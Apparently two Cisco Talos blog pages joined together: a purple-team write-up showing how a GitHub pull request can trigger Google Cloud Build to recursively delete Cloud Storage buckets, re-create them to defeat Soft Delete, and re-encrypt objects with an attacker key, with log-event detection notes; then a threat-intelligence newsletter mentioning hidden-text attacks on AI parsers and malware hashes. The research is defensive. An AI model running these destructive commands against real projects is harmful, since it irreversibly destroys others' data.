**Research & Recommendations****Data Destruction (Mitre ATT&CK T1485)**

Talos has previously covered data destruction for impact within GCP Cloud Storage during the course of a Purple Teaming Engagement focused on GCP, but expanded upon this research and utilized the GitHub-to-Cloud Build execution path in this research. The first specific behavior performed, deleting a Cloud Storage bucket, can be performed using the following _gcloud_ command:

    gcloud storage rm --recursive gs://BUCKET_NAME

To perform this via a Cloud Build pipeline, Orca’s simple Proof of Concept (PoC) example Cloud Build configuration file, itself in turn based on the example in Google’s documentation, was modified slightly as follows:

    - name: 'gcr.io/cloud-builders/gcloud'
      args: ['storage', 'rm', '--recursive', 'gs://BUCKET_NAME']
    

This YAML file was then committed to a GitHub branch and a PR was created for it, which can be done utilizing the following commands:

    git clone <repo URL>
    cd <repo name>
    cp ../totally-not-data-destruction.yaml cloudbuild.yaml
    git add cloudbuild.yaml
    git commit -m "Not going to do anything bad at all"
    git push
    gh pr create
    

In the Orca Security research, a Google Cloud Storage (GCS) bucket for the Cloud Build runtime logs is required. Since threat actors typically wish to avoid leaving forensic artifacts behind, they may choose to specify a GCS bucket in a different GCP account under their control. This provides a detection opportunity by looking for the utilization of an external GCS bucket in a Cloud Build event, assuming all the storage buckets in the account are known. However, when running a Cloud Build job via a GitHub or other repository trigger, specifying a GCS bucket for storing logs is not required.

GCP offers the ability to configure “Soft Delete”, a feature that enables the restoration of accidentally or maliciously deleted GCS buckets and objects for a configurable time period. This is a strong security feature and should be enabled whenever possible. However, as is noted in their official documentation, when a bucket is deleted, its name becomes available for use again and if claimed during the creation of a new bucket, it will no longer by possible to restore the deleted GCS bucket. To truly destroy data in a GCS bucket, an adversary therefore just needs to immediately create a new bucket with the same name after deleting the previous one.

The Cloud Build configuration file can be updated to accomplish this as follows:

    steps:
    - name: 'gcr.io/cloud-builders/gcloud'
      args: ['storage', 'rm', '--recursive', 'gs://BUCKET_NAME']
      args: ['storage', 'buckets', 'create', 'gs://BUCKET_NAME', '--location=BUCKET_LOCATION']
    

**Defensive Notes****Log Events**

All of the events discussed above are logged by Google Operations Logs. The following Operations Logs events were identified during the research:

*   _google.devtools.cloudbuild.v1.CloudBuild.RunBuildTrigger_
    *   This event logs the creation of a new build via a connection trigger, such as the GitHub Pull Request trigger method discussed above. This will be very useful for a Digital Forensics & Incident Response (DFIR) investigator as part of an investigation, but is unlikely to be a good basis for a threat detection.
*   _google.devtools.cloudbuild.v1.CloudBuild.CreateBuild_
    *   This event logs the manual creation of a new build, and indicates what identity principal triggered the event. If the build was manually triggered and has a GCS bucket specified as a destination for build logs, that bucket’s name will be specified in the field _protoPayload.request.build.logsBucket="gs://gcb\_testing"._ If this field is present, a threat detection or threat hunting query for unknown buckets outside known infrastructure may be of use. Additionally, like with most cloud audit log events, significant quantities of failed _CreateBuild_ events followed by a successful event may be indicative of an adversary attempting to discover new capabilities or escalate privileges Otherwise, since this is a perfectly legitimate event, like _RunBuildTrigger_ it will primarily be of use for DFiR investigations rather than threat detections.
*   _storage.buckets.delete_
    *   An event with this methodName value logs the deletion of a GCS bucket. It is automatically of interest during the course of a DFIR investigation that involves data destruction, and may be worth threat hunting for if the value of the _protoPayload.authenticationInfo.principalEmail_ is the default Cloud Build Service Account. This is not automatically worthy of a threat detection, as it can be legitimate for Cloud Build to use a GCS bucket to store temporary data and delete it after the build is complete, but it is likely a good candidate for an anomaly model detection.
*   _storage.buckets.create_
    *   While relatively uninteresting in isolation, if this event shortly follows a _storage.buckets.delete_ event it may be indicative of an attempt to bypass the protections offered by Safe Delete, as described above. This may be automatically detection worthy, and would definitely be a useful threat hunting or DFIR investigation query.

**Data Encrypted for Impact (Mitre ATT&CK T1486)**

Cloud object storage is not inherently immune from ransomware, but despite the concerns of a potential for “ransomcloud” attacks and other similar threat vectors, it is actually quite difficult to irreversibly encrypt objects in a cloud storage bucket. It is much more likely that a data-focused cloud impact attack will involve exfiltrating the objects and deleting them before offering them back in exchange for a ransom, rather than encrypting them. In Google Cloud Storage, all objects are encrypted by default using a Google-managed encryption key, but GCS also supports three other methods of encrypting objects. These methods are server side encryption using the Cloud Key Management Service (CKMS) to manage the keys, also known as customer-managed encryption, server side encryption using a customer provided key not stored in the cloud account at all, and client side encryption of the objects. With customer-managed encryption, if an adversary implements this approach, the legitimate owner of the objects will have access to the CKMS and be able to decrypt them. With either a customer provided encryption key or client side encryption, a customer may be able to overwrite the original versions of the objects, though if the bucket has Object Versioning enabled, an administrator can simply revert to a previous version of the object to retrieve it.

If an adversary is able to identify a bucket that does not have Object Versioning configured, they may be able to utilize the Cloud Build attack vector described previously to encrypt existing objects with a customer provided key that they control. This is possible using the following gcloud CLI command:

    gcloud storage cp SOURCE_DATA gs://BUCKET_NAME/OBJECT_NAME --encryption-key=YOUR_ENCRYPTION_KEY

And was performed by updating the previously described cloudbuild.yaml file with entries for 10 objects in the bucket, then triggering another build. In an actual attack, enumeration of the stored objects followed by encryption of all of them would be required.

**Defensive Notes**

The creation of the new encrypted file was logged with an event of type _storage.objects.create,_ but unfortunately there was no indication that a customer-provided encryption key was utilized for encryption in the event’s body. Therefore there was nothing especially anomalous about the event for a detection or investigator to look for. This whole attack vector though can again be obviated by enabling Object Versioning and Soft Delete, so that is highly recommended.

Google Cloud Platform Data Destruction via Cloud Build

Martin discusses how defenders can use threat intelligence to equip themselves against AI-based threats. Plus check out his introductory course to threat intelligence.

Thursday, January 30, 2025 14:05

Welcome to this week’s edition of the Threat Source newsletter. 

You don’t need me to tell you that security is constantly changing and that more change is on its way. The enthusiastic adoption of new AI systems will inevitably lead to more demands on cybersecurity teams. Not only will these systems need protecting against the same threats which affect current systems, but also against new types of threats that target AI models. We can only expect that attacks designed to subvert AI models and get them to function in ways detrimental to their operators’ interests will become more effective and beneficial to attackers over time. 

The good news is that we can expect AI enabled security systems to help protect against attacks, detect incursions, and orchestrate the remediation of affected systems. However, we must not overlook the fact that people will remain involved and invested in the outcome. Within this AI powered future will be CISOs who will be held responsible for the security of systems. There will also be many analysts tasked with keeping systems operating correctly while trying to anticipate and protect against forthcoming malicious campaigns.

Although we may not be able to predict the nature of attacks in this distant future, we can predict some of the skills that will be necessary to beat these attacks. Threat intelligence skills will be vital to equip future cyber security professionals not only to understand the goals of the threat actors that they face but to situate their attacks within the context of these goals. Armed with this understanding, security teams will be able to make better decisions regarding the allocation and prioritization of resources to best defend against attacks. 

Developing threat intelligence skills within the cyber security professionals of tomorrow begins today. Training up people who are early in their careers and students yet to begin their careers is one of the best investments we can make to build resilience against future threats.

To help skill up future analysts, my colleagues and myself in collaboration with Cisco’s Networking Academy have developed an introductory course to threat intelligence. This course is free for all, only registration is required, and is intended to give an overview of the domain for someone without prior knowledge which can be used as a starting point for further study or employment.

For those looking to develop a threat intelligence program as part of their cyber security strategy, we are hosting a technical seminar at Cisco Live EMEA on Sunday February 9th. The session, “Establishing a Threat Intelligence Program, Why its Necessary, What to Expect and How to Go about it \[TECSEC-2003\]”, will present how managers can set-up a threat intelligence team as part of their arsenal against the bad guys and what can reasonably be expected.

**The one big thing**

One pointer to the nature of future threats against AI systems is a technique used in spam that Talos recently blogged about. Hiding the nature of the content displayed to the recipient from anti-spam systems is not a new technique. Spammers have included hidden text or used formatting rules to camouflage their actual message from anti-spam analysis for decades. However, we have seen increase in the use of such techniques during the second half of 2024.

**Why do I care?**

Parsers which are required for computers to understand text content, view the world very differently from humans. The human eye ignores text in miniscule font or can’t detect black letters on a black background, but this is not necessarily the case for parsers. Where the human eye sees readily readable text, the parser can see the gibberish that spammers have included to confuse them. Potentially the opposite is also true with humans seeing gibberish, but language parsing software seeing readable text.

Being able to disguise and hide content from machine analysis or from human oversight is likely to become a more important vector of attack against AI systems as they become a larger part of our lives. 

**So now what?**

Fortunately, the techniques to detect this kind of obfuscation are well known and already integrated into spam detection systems such as Cisco Email Threat Defense. Conversely, the presence of attempts to obfuscate content in this manner makes it obvious that a message is malicious and can be classed as spam.

**Top security headlines of the week**

Another incident of an undersea telecommunications cable being cut in the Baltic was encountered. (CNN). Organisations need to plan for the effects of a major telecommunications outage or internet bandwidth restriction affecting their business.

Three members of Russia’s GRU have been placed under sanctions for their suspected role in conducting cyber attacks against Estonia in 2020 (SecurityAffairs). Threat actors might try to hide their identities but eventually they will be discovered and held to account for their actions.

A botnet consisting of infected IoT devices is behind the largest ever DDoS attack (Help Net Security). Small network connected devices can easily be overlooked as part of a cyber security strategy, but they can be compromised by threat actors and used for nefarious purposes.

**Can't get enough Talos?**

Today we released the new Cisco Talos Quarterly Trends Report - covering incidents from October to December 2024. The big call out? Threat actors are increasingly deployed web shells against vulnerable web applications. They primarily exploited vulnerable or unpatched public-facing applications to gain initial access, a notable shift from previous quarters.

Watch Hazel, Joe and Craig break down the report - they discuss hunting down web shells, the Interlock ransomware, and the increasing use of remote access tools within ransomware attacks.

**Upcoming events where you can find Talos**

Talos team members: Martin LEE, Thorsten ROSENDAHL, Yuri KRAMARZ, Giannis TZIAKOURIS, and Vanja SVAJCER will be speaking at Cisco Live EMEA. Amsterdam, Netherlands, 9-14 February.  (Cisco Live EMEA)

**Most prevalent malware files of the week**

**SHA 256:** 9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507  
**MD5:** 2915b3f8b703eb744fc54c81f4a9c67f  
**VirusTotal:**https://www.virustotal.com/gui/file/9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507  
**Typical Filename:** VID001.exe  
**Detection Name:** Simple\_Custom\_DetectionClaimed Product: 

**SHA 256:** 47ecaab5cd6b26fe18d9759a9392bce81ba379817c53a3a468fe9060a076f8ca  
**MD5:** 71fea034b422e4a17ebb06022532fdde  
**VirusTotal:** https://www.virustotal.com/gui/file/47ecaab5cd6b26fe18d9759a9392bce81ba379817c53a3a468fe9060a076f8ca  
**Typical Filename:** VID001.exe  
**Claimed Product:** N/A  
**Detection Name:** Coinminer:MBT.26mw.in14.Talos

**SHA 256:** a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91  
**MD5:** 7bdbd180c081fa63ca94f9c22c457376  
**VirusTotal:** https://www.virustotal.com/gui/file/a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91  
**Typical Filename:** c0dwjdi6a.dll  
**Claimed Product:** N/A  
**Detection Name:** Trojan.GenericKD.33515991